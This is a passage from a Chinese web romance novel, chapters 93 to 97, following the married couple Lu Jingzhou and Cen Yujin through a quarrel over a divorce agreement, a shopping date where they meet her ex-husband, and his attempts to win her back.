陆京洲抽回自己的手,从床头柜里拿出了那个已经皱皱巴巴的协议,放在她面前,“这份离婚协议你是甲方,是你要求奶奶拟的离婚协议?” 岑予衿盘腿坐了起来,看着他愤怒的样子,莫名觉得有些好笑,不过她忍住了,“嗯,是我要求的。” “为什么?”陆京洲听到这话眼圈立马就红了,他没想到她就这么直接承认了。 岑予衿将协议翻到最后一页,“你先看看日期。” 陆京洲顺着她手指的方向看了过去,就算这个日期是婚前的,那又怎么样? 它不也还是一份离婚协议吗? “陆京洲你要娶我的时候,是真心娶我的吗?” 陆京洲一愣,当然不是。 是老太太逼他的。 她算是明白了,合着他从老太太屋里出来,心情不好,还一个人偷偷的躲回了自己的房间,手也破了。 就是因为发现了这份离婚协议。 岑予衿见他半天不说话,立马开了口,“我是因为宝宝嫁给你的,只有攀上陆家我才不用嫁给那个变态,所以才和奶奶签了这份离婚协议。” “奶奶想让我把孩子生下来,嫁给你孩子才能名正言顺,不是非婚生子,所以就答应了。”岑予衿也不瞒着他。 一页一页的翻着纸张,只是现在这份文件已经没有存在的必要了。 老太太已经把该给她的都给她了。 而且现在结婚证名字是岑予衿不是周芙笙,这份协议无效。 “这也是给你的一条退路,你什么时候要是有喜欢的人了,带回来,这份离婚协议随时可以生效。” 岑予衿说的是实话,这样安安稳稳的过一辈子不是不行。 可她知道,这对她来说是奢望。 现在的陆京洲对她还有点新鲜感,所以哄着她。 可她到现在也没忘了,他那天在皇都说的话。 他娶她只是为了檀月山庄。 只是为了老太太能开心。 “只要我带回来,随时都可以离婚是吗?”陆京洲话里带着咬牙切齿的味道。 “嗯,随时都可以,至于宝宝留在陆家比跟着我强。” 所以她这是想抛夫又弃子。 陆京洲拿她一点办法都没有,“那刚才咱俩……算什么?你明明对我也有感觉。” “正常的生理反应。” 陆京洲气笑了。 他猛地俯身逼近,双手撑在她身体两侧,将她困在床头与自己胸膛之间狭小的空间里,“正常的生理反应?我不信!” 他重复着她的话,声音低沉而危险,带着一丝难以置信的荒谬感,“我要是让你舒服点,你觉得我还有点用,可不可以一年后不离婚?我继续追你。” 岑予衿听着他这话总觉得怪怪的。 不知道到底是什么意思,皱着眉头,刚要开口说话,被他一下子抱在了怀里。 陆京洲作势就要吻她,滚烫的大手落在她的腰间,接下来要干嘛不言而喻。 岑予衿眼睛瞪得老大了,挣扎着从他怀里起来,“陆京洲,你疯了?前三个月不能同房,你不知道?” “谁说只能用那个!笙笙,你相信我一次好不好?” 岑予衿被他眼底翻涌的暗色烫得一颤,下意识想后退,脊背却抵上了微凉的床头。 “陆京洲!”她声音里带着自己都没察觉的慌乱,“你冷静一点……” “我很想冷静。”他呼吸灼热地喷在她耳畔,声音哑得不成样子,“可是我冷静不了,看到离婚协议那一刻……憋到现在,我还是冷静不下来。” 他的唇没有落下,却流连在她颈侧,带着惩罚意味的轻吮,激起她一阵战栗。 滚烫的掌心稳稳托住她的后腰,将她更深地按向自己,像是要将她融入自己的骨血。 “笙笙·……”他在换气的间隙,抵着她的额头喃喃,“不要离婚。” 岑予衿心口最柔软的地方被狠狠戳了一下,酸涩得发疼。 她从未见过这样的陆京洲,褪去所有骄傲外壳,只剩下近乎卑微的祈求。 这是真的还是……只是他的伪装? 她不知道,现在的她脑子一片空白。 “就算离婚,我也只要离婚协议上的东西,其他什么都不……唔” 他湿热的吻再次落下,沿着锁骨一路向下,大手却极其克制地停留在她腰侧。 带着薄茧的指腹在细腻的皮肤上反复摩挲,激起一阵又一阵陌生的浪潮。 “别……”她软软地推拒,声音却染上了自己都陌生的娇媚,“医生说……不行……” “我知道。”他喘着粗气停下来,额角沁出细密的汗珠,眼神暗得吓人,“我不进去。” 他说着,手指却灵巧地探入她睡衣下摆。 岑予衿的理智在寸寸瓦解。 她清楚地感受到他紧绷的肌肉和灼人的体温,每一个细胞都在叫嚣着渴望。 可他偏偏在最关键的时刻停了下来,只是用更深的吻封住她所有的呜咽。 这种极致的克制比放纵更让人心颤。 “陆京洲……”岑予衿终于受不住地娇吟出声,指甲无意识地掐进他臂膀。 他所有的声音都被他堵在喉咙里,化作细碎的呜咽。 眼前炸开一片白光,她无力地瘫软在他怀里,只剩下急促的喘息。 陆京洲轻轻吻去她眼角的泪痕,将她汗旧的小脸按在自己胸口,微喘,“这次我没经验,再给我一次……” 岑予衿把头摇的跟拨浪鼓似的,立刻从他怀里爬了起来,着急忙慌的扯过那份离婚协议。 指尖还在微微发颤。 她看也不看那份被揉得不成样子的协议,双手猛地用力——“嘶啦!” 纸张应声而裂,被她毫不犹豫地撕成两半,四半,最后变成一堆无法拼凑的碎片,洋洋洒洒地飘落在床单上。 “没有了!”她抬起头,声音还带着喘息声,“陆京洲,你听清楚,没有离婚协议了!” 一想到刚才他的所做所为,实在气不过抓起一把碎片,狠狠扔向他胸口,“满意了吗?!” 白色的纸屑如同雪花般从他身前飘落。 陆京洲怔怔地看着她。 下一秒,他眼底翻涌起近乎狂喜的巨浪,猛地将她再次紧紧搂进怀里,力道大得几乎要将她揉碎。 “满意……”他的声音沙哑得厉害,带着劫后余生般的颤抖,滚烫的唇贴着她的耳廓,一遍遍重复,“笙笙,我很满意。” 他捧起她的脸,这次不再是带着惩罚和试探的吻,而是珍重又缠绵的深入,仿佛要将刚才所有的恐慌和不确定都驱散。 一吻结束,两人都气喘吁吁。 陆京洲抵着她的额头,指腹轻轻摩挲着她微肿的唇瓣,黑眸深邃如夜,里面燃烧着未曾熄灭的火苗,却又被极力克制着。 “没有备份吧?” 第94章 第一次约会 岑予衿白了他一眼,他想的还真多,“没有!” 这份离婚协议本来就没有任何法律效力。 一辈子不离婚对她来说也没什么坏处。 已经经历了一次失败的婚姻,一场还未开始就被掐入在摇篮里的爱情。 两次的失败让她已经不相信任何人,任何话。 陆京洲新鲜劲过了,有喜欢的人别回来求她离婚就行。 靠着陆家,在岑氏还能狐假虎威,陆家二少奶奶这个身份,还挺好用的。 而且怀胎10月生下的宝宝,让陆京洲这个不靠谱的男人带,她还不放心呢! 有了后妈就有后爸了。 算了……累死了,不想和他多说一句话。 陆京洲心满意足的关掉灯,把人搂进怀里。 她饱满的额头上全是细汗。 陆京洲抬手扯了张纸巾想要帮她擦,岑予衿条件反射的往后缩,蛄蛹到安全距离才停下来,“不行不行!别过来别碰我!我什么都不会,你撩拨我,最后难受的只有你。” 陆京洲的手就这么僵在了半空,“媳妇儿,你在想什么呢,我只是想帮你擦一下汗。” 岑予衿抬手摸了摸自己的额头,还真是湿哒哒的,一把扯过他手里的纸,自己擦干净。 想去洗澡。 可是已经护好肤,连妊娠油都擦好了,不想动,真的不想动。 陆京洲看着她的反应,没忍住,笑出了声,“回来,不弄你了。” “不信!” 陆京洲:山不来就我,我便去就山! 往她那边挪了几步之后,将她搂进了怀里,声音里含着淡淡的笑意,“笙笙……刚才有点舒服的对吗?” 岑予衿想到刚才那些画面,耳根一下子又红了起来,“陆!京!洲!你再这样我去客房住。” “好了好了,不逗你了,快睡觉吧~有需求尽管说,包在老公身上嗷,绝对舒服!” “你还说!” 陆京洲知道她脸皮薄,立刻止住了话题,“不说了不说了。” 岑予衿这才微微松了口气,在他怀里找了个舒服的姿势,躺好。 陆京洲回来也好,房间里的空调,哪有人体空调好,被他抱着就像有几个小火炉围着烤,舒服死了! “对了,我今天在陆家夸下海口了,还没头绪,怎么办?” 陆京洲点了点她的脑袋,“现在知道害怕,是不是晚了点?” 岑予衿重重叹了口气,“别担心,我会想办法的。” 京耀财团分公司已经落成,很快就会投入营业。 到时候再预约见他们总裁,投其所好。 就是不知道他们总裁是谁? 不管了,反正总会有办法的。 “媳妇儿,这些事情你别操心了,我来就行。” 陆京洲还没说完呢,耳边就传来平稳的呼吸声。 人已经睡着了! 这睡眠质量是真的很不错。 …… 岑予衿最近一段时间,说是忙的焦头烂额都不过分。 公司的事情上手之后才发现,根本没有自己想象中的那么简单。 除了看得见的大窟窿,还有无数的小窟窿等着她补。 还有岑家的老宅,早在三年前就被买走了,却一直没人住。 买主还不知道是谁,怎么查也查不出来。 想买回来,简直难如登天。 不过陆京洲这段时间,倒是没搞什么幺蛾子,是真的在很认真的追她,照顾她。 一日三餐,他都包了。 按摩,涂妊娠油,搭配衣服样样在行。 完全就是24孝好男友。 跟前几天网上传的判若两人。 陆京洲看她放下手里的平板,立刻把切好的水果拿过来摆在她面前,“老婆,今天天气不错,要不要出去逛逛?” 岑予衿下意识看了一眼窗外,天气确实不错。 想到自己已经好几天没出门了,点了点头。 “你先吃点水果,我上楼帮你找衣服。” 说完还没等她反应过来,陆京洲已经风风火火的上楼了。 岑予衿有些无奈的摇了摇头。 陆京洲上楼的速度快得惊人,仿佛生怕她反悔似的。 岑予衿慢悠悠吃了几个葡萄,清甜在口中化开,窗外阳光正好,让她因连日忙碌而紧绷的神经稍稍松弛了些。 等她吃完水果,陆京洲已经拎着一套搭配好的衣服下来了,一件宽松舒适的香芋紫针织裙,搭配风衣,还有一双白色的软底平底鞋,连搭配的包和遮阳帽都准备好了。 岑予衿不知道他安排去哪儿,乖乖的跟着他出门。 陆京洲带她去打卡了一家,她随口一提的店,喝下午茶。 点了一份她能喝的奶茶,还点了一份蓝莓芝士小蛋糕。 岑予衿这段时间特别爱吃甜的。 陆京洲看着她小口小口吃着蛋糕,唇角不自觉扬起温柔的弧度。 他把自己那杯没加糖的咖啡推到一边,专注地看着她。 她真是又乖又漂亮。 “慢点吃,”他抽了张纸巾,自然地擦掉她嘴角的奶油,“今天这一小份允许你吃完。” 岑予衿动作一顿,却没有躲开。 “你怎么知道我想来这家店?”她记得自己只是在某天半夜刷手机时随口提过一句。 陆京洲挑眉,语气带着几分得意,“你说的每句话我都记着。” 窗外阳光透过玻璃,在他睫毛上投下细碎的光影,五官轮廓极为优越,和店里的客人仿佛不在一个次元。 “好久没出门了,有没有特别想去的地方?” 岑予衿摇了摇头,“没有,随便去商场逛逛吧。” 陆京洲点了点头,“好,听你的。” 刚走了没两步,岑予衿就被商场转角处一家精致的母婴店吸引住了视线。 明亮的橱窗里展示着几套小巧可爱的婴儿连体衣,嫩黄浅粉的颜色在灯光下显得格外柔软。 模特身上那件绣着小恐龙的淡蓝色衣服尤其醒目,憨态可掬的恐龙尾巴绕着衣摆卷了一圈。 陆京洲顺着她的目光看去,唇角微扬,“进去看看?” 岑予衿犹豫了一瞬,脚步却已诚实地转向店门。 门铃清脆作响,空调恰到好处的暖风裹着淡淡的婴儿润肤露香气扑面而来。 “欢迎光临。”导购员微笑着迎上来,目光在岑予衿微隆的小腹上停留一瞬,了然地退到一旁,“两位随意看看,有需要随时叫我。” 店内布置得温馨舒适,货架上整齐陈列着各式婴儿用品。 岑予衿的指尖轻轻拂过一排挂在展示架上的小袜子,每只都只有她掌心大小,柔软得不可思议。 陆京洲拿起一个安抚奶嘴,隔着包装袋捏了捏硅胶头,挑眉看她,“这么小?” “新生儿的东西都是这样的。”岑予衿接过他手中的奶嘴放回原处,转身时眼睛忽然一亮。 走向角落的展示区,那里挂着一件米白色的连体衣,胸前用咖啡色丝线绣着一只抱着松果的小松鼠,帽子上还带着两只毛茸茸的立耳。 “这件好可爱。”她轻声说,指尖小心翼翼地抚过那对耳朵。 陆京洲站到她身后,顺着她的手臂看向那件小衣服,温热的气息拂过她的耳畔,“喜欢就买。” “还不知道是男孩女孩呢。”岑予衿摇摇头,目光却仍黏在那件衣服上。 “那就都买。”陆京洲说得理所当然,伸手就要去取衣架。 “先不买,才三个月,现在准备还太早了,我就随便逛逛。” 陆京洲的手机突然响了起来,看她逛得正起劲,也没烦她,去了不远处接电话。 这还是怀孕之后她第一次来母婴店。 什么都想买,又觉得现在买还太早了。 岑予衿在店里慢慢逛着,目光忽然被展示区中央的一款婴儿车吸引。 “这款是我们新到的限量款,”导购员适时上前介绍,“可以180度平躺,适合新生儿,避震系统也很好。” 岑予衿越看越喜欢,正想问问详细功能,却听见一个娇俏的女声插了进来,“这款婴儿车真好看!服务员,我要了。” 第95章 不是我把她逼死的,她活的好 岑予衿转过身,对上一张熟悉又陌生的脸。 周时越站在不远处,手臂被林舒薇亲昵地挽着,而他的目光落在岑予衿身上。 自从上次他替她挡了一刀之后,他们就没有见过了。 算算时间应该有一个月了。 陆京洲出面解决的,好像是给了他们好多钱,还放了周家一码,她没去看过他一次。 说实话,她出现也不太好,毕竟两人离婚了,都组建了各自的家庭。 而且……他们之间没什么好说的。 他看起来恢复的很好。 林舒薇显然也认出了她,眼底闪过一丝得意,随即晃了晃周时越的手臂,声音娇嗲,“时越,你看这辆车多适合我们宝宝,就要这个好不好?” 周时越微微颔首,对导购员说,“包起来吧。” “我先看上的。”虽然他替她挡了一刀,可该给的陆京洲已经给了。 她没必要委屈自己。 周时越看着岑予衿倔强的眼神,心头莫名一紧。 他失去了属于他的记忆,却还是会在发生危险的时候第一时间护着她,自己也不知道是怎么了。 现在看到她这眼神,也不想和她抢了。 “薇薇,”他轻声开口,“我们再看看别的。” 林舒薇难以置信地睁大眼睛,“时越!明明是我们先要买的,她只是看看而已。” 周时越的目光却始终没有离开岑予衿。 她穿着宽松的香芋紫针织裙,小腹微微隆起,看起来很温柔。 “我觉得不好看,让给她吧。”他的声音很轻,却不容置疑。 导购员如释重负,连忙对岑予衿笑道,“小姐,我这就为您包起来。” 岑予衿点了点头,“店里还有几个?” “两个。” “两个都包起来。” 林舒薇气得脸色发白,她没想到他居然会帮她。 不帮自己。 不过没关系,她有的是办法让他伤心。 林舒薇的目光在岑予衿微隆的小腹上转了一圈,嘴角勾起一抹刻意的笑意,挽着周时越的手臂凑得更近了些,“芙笙妹妹,真巧啊,没想到会在这里碰到你。” 她刻意加重“妹妹”两个字,语气里的挑衅毫不掩饰,又状似无意地抚上自己平坦的小腹,“我和时越准备下个月办婚礼,顺便庆祝一下宝宝的到来,到时候你一定要来参加婚礼呀,毕竟你是时越名义上的妹妹,少了你可不行。” 周时越的目光始终落在岑予衿脸上,复杂难辨,喉结动了动,却终究什么也没说。 陆京洲刚打电话回来,就看到了周时越和他的小三。 心一下子提到嗓子眼。 一想到自己老婆喜欢过他,就膈应的要命。 陆京洲快步上前,一把将岑予衿揽进怀里,手臂占有性地环住她的腰,目光锐利地扫过周时越。 “周总,好久不见。”他语气冷淡,带着明显的敌意,“身上的伤好点没?” 周时越的视线在陆京洲搂着岑予衿的手上停留片刻,眼神微暗,“陆二少,谢谢关心,好多了。” 林舒薇立刻换上甜美的笑容,“陆二少,我们在说我和时越下个月的婚礼呢。” 她刻意顿了顿,“芙笙妹妹已经答应要来了。” “婚礼?”陆京洲挑眉,露出恰到好处的惊喜,“恭喜啊周总。” 他搂紧岑予衿,笑容爽朗,“我和笙笙一定准时到场。” 周时越的视线落在陆京洲搭在岑予衿腰间的手上,眼神暗了暗。 第96章 你觉得岑予衿是个什么样的人? 出了母婴店的门,岑予衿还是心不在焉的。 总觉得不可能一辈子瞒着陆京洲。 陆京洲看着她心情不好的样子,心里也没底。 难不成是刚才说了她哥她生气了? 可是她不是都说了,跟她没有任何关系了吗? “媳妇儿,你生气了吗?” 岑予衿摇了摇头,却不知道该怎么开口,只得旁敲侧击的问,“阿洲,我问你个问题,你如实回答我。” 陆京洲用力的点了点头,“好。” “一定要如实回答我。” “嗯,你问吧。”陆京洲停下脚步,走到她面前,双手搭在她的肩膀上,看着他的眼睛,特别认真。 岑予衿都被他看的有些不好意思了,倒也不用这样。 这样她都不知道该怎么说了。 移开视线,把他搭在自己肩上的手拿了下来,顺势挽着他的胳膊,“边走边说就好了。” “好吧好吧~”陆京洲低头看了一眼被她抱在怀里的手,心情莫名好到起飞。 “你觉得岑予衿是个什么样的人啊?”岑予衿想了想,又补充了一句,“完全按照你的想法说就好了。” 陆京洲都没有犹豫,脱口而出,“一个蠢死的女人,有什么好评价的?” 岑予衿脸上的表情一下子就变了。 虽然说他说的是实话。 但他说的是自己,那一点不生气是不可能的。 岑予衿深吸一口气,强压下心头的火气,故作轻松地问:“哦?怎么个蠢法?” 陆京洲浑然不觉,一边走一边摇头,“为了个男人跟舔狗似的,到最后被逼死,什么也没得到,为他人做嫁衣。要我说,那种眼瞎心盲的男人有什么好惦记的?” 岑予衿的手指不自觉地收紧,掐得陆京洲“嘶”了一声。 “笙笙,你怎么了?” 岑予衿脸上的表情已经挂不住了,却也还在继续,“没事,你继续说。” “周时越他是什么香饽饽吗?你喜欢过他,他前妻对他死心塌地,顶着所有流言蜚语,找了他两年,到最后死路一条,也无怨无悔。还有那个林舒薇,把他当成眼珠子似的。” 陆京洲越说越来劲,完全没注意到岑予衿越来越僵硬的脸色。 “要我说,周时越那种货色,跟我根本不是一个档次的好吗?”他得意地挑了挑眉,“要钱有钱,要颜有颜,关键是我专一啊。那种朝三暮四的男人,也只有眼瞎的女人才会看得上。” 岑予衿冷笑了一声,“是吗?你专一,我还真没看出来,光是结婚,前女友都能凑一桌了吧?” 陆京洲脚步一顿,侧过头来盯着她看,眼神里带着探究,“笙笙,你怎么对岑予衿这么感兴趣?” 不对,岑予衿不是她的前嫂子吗? 完了……他好像说了很多不该说的。 岑予衿心里一紧,面上却强装镇定,“就是突然想起来,随便问问。” “随便问问?”陆京洲眯起眼睛,突然凑近她,“你该不会是在吃醋吧?” “我吃什么醋?”岑予衿别过脸去,心跳却不由自主地加快。 陆京洲低笑一声,伸手捏了捏她的脸颊,“吃那些前女友的醋啊。你放心,那些都是过去式了,没一个是真的,我现在心里只有你一个人。” 他的语气轻松自然,仿佛在说一件再平常不过的事。 可岑予衿却听得心头一沉他越是这般轻描淡写,他就越生气。 “说得轻巧,”岑予衿垂下眼帘,“谁知道你是不是也把我看作是‘过去式’中的一员?” 陆京洲脸上的笑容微微一滞,随即又恢复如常,“怎么会呢?你和其他人不一样。” “哪里不一样?”岑予衿追问。 “你是我明媒正娶的妻子啊。”陆京洲理所当然地说,伸手揽住她的肩,“对了,岑予衿那个蠢死的女人,不是你前嫂子吗?你们关系好不好?” 岑予衿停下脚步,抬头看向陆京洲,嘴角勾起一抹似笑非笑的弧度,“你觉得,我离婚协议里非要岑氏不可,是为了什么?” 陆京洲被她问得一怔,随即理所当然地回答,“还能为什么?周家想要扩张版图,岑氏虽然现在半死不活,但底子还在,吞并它有利可图。再说……” 不对……十分有十二分不对。 岑予衿打断他,眼神锐利起来,“你觉得我只是为了钱?” 陆京洲看着她眼中罕见的锋芒,心里莫名一紧,试探着问,“不然呢?总不会是为了给你那个……前嫂子报仇吧?” 他说完自己都觉得好笑地摇了摇头。 岑予衿微微勾了勾唇,歪着头看他,那笑意却不达眼底,“所以你很讨厌她喽?” 陆京洲见她还冲他笑也没有生气的迹象,自顾自的说,“也算不上讨厌吧,只是觉得不太理解,她的所作所为,太蠢了!蠢到她死了我都不想评价半句。” 陆京洲一把揽住她的肩膀,“而且我喜欢她干嘛,你是我老婆,我喜欢的当然是你呀!我还要追你呢~宝贝!” 她只是静静地看着他,那眼神平静无波,却让陆京洲脸上的笑容一点点僵住。 空气仿佛在这一刻凝固。 半晌,岑予衿才轻轻开口,声音不高,却像锤子砸在陆京洲心上,“如果我说我们关系很好呢?” 她往前走了一步,逼视着他瞬间写满错愕的眼睛。 岑予衿心底最后一丝期待也落空了。 陆京洲对她的成见实在是太大了,跟他坦白身份,简直就是自寻死路。 算了! 现在看到他就烦! 不想理他,也不想跟他说一句话。 她猛地甩开陆京洲揽在她肩上的手,力道之大,让陆京洲猝不及防地踉跄了一下。 “笙笙?”陆京洲错愕地喊道。 岑予衿却连一个眼神都没再给他,径直转身,背影决绝,带着一股压抑不住的怒火。 陆京洲愣在原地足足有两秒,看着她越走越远的背影,这才猛地回过神来,懊悔地抬手用力拍了一下自己的额头。 完了,今晚他这老婆怕是哄不好了。 “啧!我这张破嘴!”他已经反应过来是怎么回事了,用力的拍了一下自己的脑袋,低咒一声,立刻拔腿追了上去。 “笙笙!老婆!你等等我!”陆京洲三两步就追到她身边,试图再去拉她的手,却被岑予衿狠狠甩开。 “别碰我!” “我错了,老婆,我错了还不行吗?” 陆京洲亦步亦趋地跟在她身侧,微微弯着腰,语气带着前所未有的讨好和急切,“我不该那么说你前嫂子,是我口无遮拦,我胡说八道!” 岑予衿充耳不闻,反而越走越快,恨不得立刻消失在他面前。 陆京洲这下真慌了,他绕到她前面,一边倒退着走,一边双手合十地求饶,“宝贝儿,你理理我。我那不是……那不是因为站在旁观者的角度,替她不值嘛!你说她为了周时越那种人,多不值得啊!” 这个解释显然毫无说服力。岑予衿冷笑一声,终于停下脚步,眼神像冰刀子一样刮过他,“哦?这么说,我还得替她谢谢你这么‘客观公正’的评价了?” “不是不是,当然不是!”陆京洲急得汗都要出来了,“我的意思是……是……哎呀,反正我错了!我以后再也不评价她了,一个字都不提!她就是你前嫂子,跟我半毛钱关系都没有,我保证!” 他小心翼翼地观察着岑予衿的脸色,见她依旧面若寒霜,心里叫苦不迭,完全没搞明白为什么对“岑予衿”的几句评价会引发这么严重的后果。 “老婆,咱们去买珠宝,买车,买房,买包包,想买什么就买什么,我给你买单好不好?要不回家我随你处置,行不行?”他放软了声音,几乎带上了点撒娇的意味,想去碰她的肩膀。 岑予衿只是冷冷地瞥了他一眼,那眼神让他伸到一半的手僵在了半空。 “陆京洲,”她红唇轻启,语气平静却带着十足的疏离,“我现在不想看见你,你自己前女友,现女友,小女友慢慢逛吧。” 陆京洲已经被她的脑回路震惊到了。 现在说的不是她前嫂子吗? 关于他那些前女友什么事? 呸! 不对,哪来的什么前女友啊,都是那些个媒体胡编乱造的。 他纯处男,她还是他初恋! “笙笙,你听我解释!”陆京洲快走两步再次拦在她面前,这次不敢动手动脚,只张开双臂虚虚挡着路,语气急切又委屈,“什么前女友现女友,那都是没影儿的事!媒体乱写的你也信?我陆京洲从小到大,就只对你一个人动过心,只追过你一个人!” 岑予衿脚步一顿,冷眼睨他,显然半个字都不信。 “真的!我发誓!”陆京洲见她停下,立刻举起三根手指,指天画地,“要是我有半句假话,就让我……” “让你什么?”岑予衿终于开口,声音里淬着冰碴,“让你像岑予衿一样蠢死?” 陆京洲瞬间噎住,恨不得时光倒流回去捂住自己那张惹祸的嘴。 他算是明白了,今晚这坎儿要过不去,“岑予衿”这三个字就是他永恒的罪证。 “我……”他语塞,俊脸上写满了懊恼和无奈,最后干脆破罐子破摔,带着点豁出去的架势,“笙笙,我错了,我真的知道错了!我不该随意评价一个已经过世的人,是我嘴贱,是我没分寸!但我对她的看法,跟对你的感情完全是两码事啊!” 他深吸一口气,眼神变得无比认真,甚至带着点恳求,“在我心里,周芙笙就是周芙笙,是独一无二的,是我明媒正娶回家的宝贝老婆。” “对对对,连红盖头都不能掀开的那种。” 陆京洲:“……” 这他真的解释不了。 他小心翼翼地观察着她的神色,声音又低又柔,带着十足的讨好,“媳妇儿,别生气了,好不好?回家我给你跪搓衣板,行不行?或者……或者你骂我几句?打我也行,我保证不还手!” 说着,他还真把脸往前凑了凑,一副任打任骂的模样。 岑予衿看了一眼自己打的车已经到面前了,拉开车门,进去没给他反应的机会,啪一下就把门关上了。 “我想冷静冷静!你一个人逛吧!” 第97章 哄我媳妇儿去喽 看着车子绝尘而去,陆京洲站在原地,冬天的风果然冷得不正常。 他烦躁地扒了扒头发,拿出手机,点开了一个夫妻手牵手,两个狗头的微信群。 陆京洲:「@全体成员紧急求助!速来中央商场常去的那家咖啡厅!十万火急!」 程凌晟:「?你跟仙女儿似的老婆跟人跑了?」 傅星驰:「不去,忙着提车!」 陆京洲:「比跑了还严重!是精神层面的毁灭性打击!我可能今晚连家门都进不去了!快来!谁帮我分析明白怎么哄,我那辆新定的幻影给他!」 程凌晟:「定位发来,马上到。」 傅星驰:「哥,提车哪有你重要?等我十分钟!」 二十分钟后,商场咖啡厅角落,陆京洲顶着两张看热闹不嫌事大的脸,把事情经过原原本本,添油加醋(主要强调自己有多无辜多委屈)地复述了一遍。 “事情就是这样。我就客观评价了一下她那个蠢……呃,前嫂子,她直接就炸了!还扯出什么前女友,我上哪儿找那么多前女友去?” 陆京洲灌了一大口冰美式,试图压下心里的火气和郁闷,“明明是她让我按照真实想法评价的,我就是实话实说。” 程凌晟摸着下巴,一脸高深莫测,“首先,排除你嘴贱这个根本原因。” 陆京洲:“说点有用的!” 傅星驰翘着二郎腿,晃着咖啡杯,“洲哥,这不明摆着吗?首先,她膈应你那些‘前女友’,哪怕大多是媒体杜撰的,但是在她的认知里就是你有很多个前女友,她不爽了。女人嘛,翻旧账是天赋技能。” 陆京洲皱眉,“我都解释了,那些都是假的!我清白之身都被她玷污了啊!” 听到这话傅星驰是真的没忍住笑出了声,“她怎么知道你是不是清白的,这种事情又试不出来!” 陆京洲的眉头皱的能夹死只苍蝇,不过他说的好像也不是没有道理,这种事情又试不出来。 程凌晟慢悠悠地补充,“解释没用。关键在于,你评价那个岑予衿,太狠了。” 傅星驰一针见血,“你当着她的面,把她嫂子贬得一文不值,显得你很刻薄,没有同理心。女人最讨厌刻薄的男人。” 陆京洲哑口无言,仔细回想,自己当时那语气,好像是有点欠揍。 “还有吗?”他急切地问。 程凌晟和傅星驰对视一眼,异口同声,“还有,第二种情况更麻烦!” 程凌晟放下杯子,身体前倾,压低声音,“根据你复述的,她最后问你‘如果我说我们关系很好呢?’结合她非要岑氏的行为……我们合理推测,那个岑予衿,可能根本不是她什么普通前嫂子,而是她最好的朋友,甚至是有过命交情的闺蜜!” 傅星驰猛点头,他们俩真是想到一块去了,“对对对!你想想,好姐妹被人渣坑死了,她隐忍不发,甚至不惜利用婚姻做筹码,卧薪尝胆,就为了替姐妹夺回家产报仇雪恨! 这是多么可歌可泣的姐妹情!结果你呢?你当着这位复仇女神的面,把她死去的好姐妹,骂得狗血淋头,说她又蠢又瞎……陆京洲,你没当场被她人道毁灭,都算她爱你爱得深沉了!” 陆京洲听完,后背瞬间冒出一层冷汗,咽了咽口水,似乎是这么回事儿。 完了!如果真是这样,他刚才那番话,简直就是在她的雷区蹦迪,还顺便把雷管给点着了! “所……所以,我现在该怎么办?”陆京洲的声音都有点发颤了,之前的郁闷烦躁全变成了恐慌。 程凌晟拍了拍他的肩膀,语重心长,“首先,深刻认识到你的错误不仅在于嘴贱,更在于触及了她的底线。 其次,关于‘前女友’问题,光解释没用,要用行动证明你的专一和清白,比如手机随便查,把所有可能引起误会的异性关系断干净。” 傅星驰补充,“最重要的是,关于她嫂子……不,关于她闺蜜岑予衿女士!你必须立刻、马上扭转你的态度!要表现出对这位已故女士的深切同情、惋惜和尊重!最好还能表现出对周时越那个渣男的强烈谴责!与她同仇敌忾!” 陆京洲如同醍醐灌顶,猛地站起来,“哦,我明白了!” 他立刻拿出手机,手指飞快地操作。 程凌晟,“你干嘛?” 陆京洲头也不抬:“先订珠宝,最大最闪的那种,买包包,安抚情绪,表明我对老婆的重视!最后……我得好好想想,怎么组织语言,重新评价岑予衿!” 他抬起头,眼神里充满了斗志,又带着点忐忑,“你们说……我现在去定做个‘纪念岑予衿女士’的横幅挂家里,或者是给她立个牌位,每天给她上柱香,来得及吗?” 程凌晟、傅星驰,“大哥,你冷静点!” 傅星驰扶额,“过犹不及!真诚,记住,真诚最重要!你得让她感觉到,你是真的认识到错了,并且打心眼里尊重她珍惜的人和事。” 陆京洲深吸一口气,重重地点了点头,“我知道了。谢了兄弟们,车子一人一辆,随便挑,我买单!拜拜!哄我媳妇儿去喽。” …… 与此同时,檀月山庄! 岑予衿一想到刚才他说的那些话,还在气头上。 明明他说的也没有不对,可心里就是不舒服。 她也知道自己就是在无理取闹,是她让他评价的,可人家真实评价了自己又不开心。 太作了! 自己把自己气的半死,回到房间,饭也不想吃,直接躺回了床上。 把头死死埋进被子。 可刚钻进被子他身上的气息似有若无的往鼻尖钻。 哼! 她就是烦的要死,就是在无理取闹,那又怎么样? 陆京洲先骂她蠢死的! 哪怕他不知道她的身份,也不能这么骂她,别人说他一句,她都会忍不住帮他怼回去,他怎么可以带头骂她呢? 两个小时后,卧室房门被轻轻推开一条缝。 陆京洲先是探进半个脑袋,小心翼翼地观察了一下敌情。 房间里只开了一盏昏暗的床头灯,床上那个背对着门口用被子把自己裹成蚕蛹的身影,明确散发着“生人勿近,熟人也滚”的低气压。 他深吸一口气,端着手里精心准备的托盘,蹑手蹑脚地走了进去。 “笙笙?”他声音放得极轻极柔,带着十足的讨好,“睡了吗?” 被子里的身影一动不动,连呼吸频率都没变一下,显然是打定主意不理他。 陆京洲把托盘放在床头柜上,上面是一碗熬得软糯喷香的鸡丝粥,几样清爽开胃的小菜,还有一杯温热的牛奶。 他蹲在床边,视线与裹在被子里的她齐平。 “媳妇儿,我知道你生气,不想理我。”他叹了口气,语气是前所未有的诚恳,“我混蛋,我嘴贱,我说错话了,你怎么罚我都行。但是……饭还是要吃的。” 他顿了顿,声音更柔了几分,带着点不易察觉的心疼,“就算你不想吃,也得为肚子里的两个小宝宝想想是不是?他们可饿不得。我熬了鸡丝粥,起来吃一点,好不好?” 被子里的岑予衿其实根本没睡着,饿倒是不太饿,就是心里那股邪火还没散尽。 听到他提到宝宝,心里微微动了一下,但一想到他之前那番蠢死的言论,又硬起心肠,故意把被子裹得更紧了些。 甚至还往里挪了挪,用行动表示拒绝。 陆京洲看她这反应,心里更急了。 “笙笙,我刚才在回来的路上,又想了很多。”他声音低沉,“关于……岑予衿小姐。” 被子里,岑予衿的耳朵几不可查地动了动。 “我承认,我之前的评价非常片面、刻薄,而且极其不尊重人。” 陆京洲一字一句,说得很慢,像是在剖析自己的内心,“我只看到了她……她为周时越付出的,最终没有得到回报的那一面,就武断地认为她蠢。但我忽略了她的处境,她的身不由己,还有周时越那个渣男的手段!” 